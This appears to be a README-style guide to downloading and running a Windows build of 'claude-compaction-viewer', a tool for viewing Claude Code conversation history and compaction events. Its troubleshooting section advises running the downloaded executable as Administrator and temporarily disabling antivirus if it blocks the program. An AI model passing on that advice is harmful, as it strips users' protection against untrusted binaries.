claude-compaction-viewer is a simple tool to help you look at your Claude Code conversation history and compaction events. This guide will take you through the steps to download and run the tool on a Windows computer without needing any technical knowledge.
This tool gives you two ways to look at your data:
- A text-based user interface (TUI) that lets you browse through your saved conversations.
- A command-line interface (CLI) for quick checks or automated use.
If you want to see what happened during your Claude Code interactions or how data was compacted, this tool makes that easy to understand.
Before you start, make sure your computer:
- Runs Windows 10 or later.
- Has at least 4GB of RAM.
- Has 100 MB free space for installation.
- Can connect to the internet to download the tool.
No extra software or setup steps are needed.
Click the button below to go to the download page.
This link will take you to the GitHub page where you can find the tool files. It is the first step to getting the software on your PC.
Look for the latest release. The page will have a section named “Releases.” Click on it and find the newest version.
Download the Windows version of claude-compaction-viewer. The file may end with .exe or .zip. If it is a .zip:
- Right-click the file.
- Choose “Extract All” and follow the prompts.
- Open the folder where you extracted the files.
If you see an .exe file, you can move to Step 3.
- Double-click the downloaded
.exefile. - If Windows asks for permission, click “Yes.”
- The program will open a window with the text interface.
Once running, you will see options on the screen to help you inspect your Claude Code history.
- Use arrow keys or your mouse to navigate through saved conversations.
- View details about compaction events, including timestamps and summaries.
- Switch between conversation view and compaction history.
The tool uses simple menus and instructions inside the window. Follow prompts shown on your screen.
If you prefer, you can also run the tool from the Windows Command Prompt.
-
Open Command Prompt by typing
cmdin the search box and hitting Enter. -
Navigate to the folder where you saved claude-compaction-viewer using the
cdcommand. For example:cd C:\Users\YourName\Downloads\claude-compaction-viewer -
Run the tool by typing:
claude-compaction-viewer.exe
The CLI version will list available commands, such as viewing history or compaction details. Type commands exactly as shown, and use the help command to learn more.
The tool allows you to save reports about your conversations and compaction events.
- While browsing, press the key shown on the screen to export data.
- Choose the location and file name for your report.
- Save files in common formats, such as
.txtor.csv, for easy use in other applications.
You can keep a record of your data outside of the viewer.
If you cannot run the program:
- Make sure your Windows version is up to date.
- Check that the file downloaded completely and is not corrupted.
- Try running the program as Administrator by right-clicking the
.exeand selecting “Run as administrator.” - Disable any antivirus software temporarily if it blocks the program.
If the interface does not display, try increasing the size of the command prompt window or your computer’s display text size.
If you run into problems beyond the ones described above, you can visit the GitHub page’s “Issues” section.
- Search to see if someone else had the same issue.
- Report your issue with clear details if it is new.
Developers and users help keep the tool working smoothly.
This guide covers all the steps to download, run, and use claude-compaction-viewer on a Windows system. It was written to help you use this tool with no programming required.